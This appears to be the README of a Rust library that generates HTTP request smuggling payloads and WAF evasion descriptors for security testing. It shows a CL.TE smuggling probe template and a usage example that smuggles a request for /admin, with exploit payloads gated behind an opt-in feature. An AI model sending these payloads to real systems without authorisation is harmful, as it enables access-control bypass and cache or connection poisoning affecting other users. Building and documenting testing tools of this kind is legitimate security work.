wafrift-smuggling

Generate HTTP request smuggling payloads and HTTP/2 downgrade / frame-level evasion descriptors.

Safety

Every probe carries a per-request poison canary. Exploit-grade payloads are gated behind the unsafe-probes cargo feature to prevent accidental collateral damage on production targets. Safe detect_* probes use timing differentials without socket poisoning.

Technique Coverage

TOML Probe Templates

Community-contributed probe templates live in rules/smuggling/*.toml. Each template follows this schema:

[[probe]]
id = "cl-te-zero"
variant = "ClTe"
description = "Classic CL.TE with Content-Length: 0"
method = "POST"
path = "/"
headers = [
    { name = "Host", value = "{{host}}" },
    { name = "Content-Length", value = "0" },
    { name = "Transfer-Encoding", value = "chunked" },
]
body = "0\r\n\r\n{{prefix}}"
requires_feature = "unsafe-probes"   # optional

Load templates at runtime with wafrift_smuggling::rules::load_templates.

Usage

use wafrift_smuggling::smuggling;

// Safe detection probe (always available)
let probe = smuggling::detect_cl_te("target.com");

// Exploit payload (requires `unsafe-probes` feature)
#[cfg(feature = "unsafe-probes")]
let exploit = smuggling::cl_te("target.com", "GET /admin HTTP/1.1\r\n");

License

MIT. Copyright 2026 CORUM COLLECTIVE LLC.